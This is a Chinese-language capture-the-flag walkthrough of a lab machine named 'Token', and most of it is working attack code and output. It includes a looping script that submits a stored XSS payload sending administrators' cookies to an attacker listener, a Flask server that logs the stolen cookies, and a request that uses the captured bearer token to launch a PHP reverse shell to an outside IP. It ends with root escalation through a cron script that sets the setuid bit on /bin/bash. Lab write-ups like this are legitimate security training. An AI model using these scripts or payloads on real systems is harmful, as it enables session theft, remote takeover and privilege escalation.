Token

信息收集

```
# nmap -p- 192.168.31.92 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 17:18 CST
Stats: 0:01:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 17:20 (0:00:34 remaining)
Nmap scan report for Token (192.168.31.92)
Host is up (0.00063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
5000/tcp open  upnp?
```

```
[17:20:49] 200 -    2KB - /feedback.php
[17:20:55] 200 -    1KB - /login.php
```

```
Target: http://192.168.31.92:5000/

[17:20:21] Starting:
[17:20:31] 302 -  199B  - /admin  ->  /login
[17:20:44] 401 -   25B  - /cmd
[17:20:50] 200 -   44B  - /flag
[17:20:56] 200 -  323B  - /login
```

明显xss

利用python脚本 接收

```
import requests
import time
```

```python
TARGET_URL = "http://192.168.31.92/feedback.php"
# 你监听的地址
CALLBACK_URL = "http://192.168.31.82:8000/log"

# 恶意XSS脚本，提交时会自动把管理员的Cookie发送到你的监听服务器
payload = f"<script>fetch('{CALLBACK_URL}?c='+encodeURIComponent(document.cookie))</script>"


def attack_loop(delay=5):
    while True:
        try:
            data = {"message": payload}
            resp = requests.post(TARGET_URL, data=data, timeout=10)
            if resp.status_code == 200:
                print("[+] 成功提交恶意留言")
            else:
                print(f"[!] 提交失败，状态码: {resp.status_code}")
        except Exception as e:
            print(f"[!] 请求异常: {e}")

        time.sleep(delay)


if __name__ == "__main__":
    print("开始循环攻击，按 Ctrl+C 停止")
    attack_loop()
```

```python
from flask import Flask, request
import logging

app = Flask(__name__)

LOG_FILE = 'stolen_cookies.txt'

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format='%(asctime)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)

@app.route('/log')
def log_cookie():
    cookie = request.args.get('c', '')
    if cookie:
        cookie = cookie.strip()
        print(f"[+] 被盗的 Cookie: {cookie}")
        logging.info(cookie)
    else:
        print("[!] 请求未携带参数 c")
    return 'ok', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
```

```
"GET /log?c=flask_token%3DBearer%20ADMIN_T0K3N_Flask_Dashazi HTTP/1.1" 200 -
```

然后看5000端口

```
5000/cmd

error   "Unauthorized"
```

```
import requests

url = "http://192.168.31.92:5000/cmd"
headers = {
    "Authorization": "Bearer ADMIN_T0K3N_Flask_Dashazi"
}

# 修复了嵌套引号和参数格式
payload = '''php -r '$sock=fsockopen("120.26.196.29",6666);exec("/bin/sh -i <&3 >&3 2>&3");' '''

params = {
    "cmd": payload
}

response = requests.get(url, headers=headers, params=params)

if response.status_code == 200:
    print("[+] 命令输出:")
    print(response.text)
else:
    print(f"[-] 执行失败，状态码: {response.status_code}")
```

弹shell得到user

catalytic的账号密码都是同一个

```
sudo -l
Matching Defaults entries for catalytic on Token:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User catalytic may run the following commands on Token:
    (ALL) NOPASSWD: /usr/bin/id
```

试了半天发先是假的

看定时任务发现一个文件

```
/var/www/html/check_messages_cron/check_messages.py
```

```
import os

os.system('chmod 4777 /bin/bash')
```

```
catalytic@Token:/var/www/html/check_messages_cron$ /bin/bash -p
bash-5.0# id
uid=1000(catalytic) gid=1000(catalytic) euid=0(root) groups=1000(catalytic)
bash-5.0# cat /root/root.txt
flag{root-d404401c8c6495b206fc35c95e55a6d5}
bash-5.0# exit
exit
catalytic@Token:/var/www/html/check_messages_cron$ /bin/bash -p
```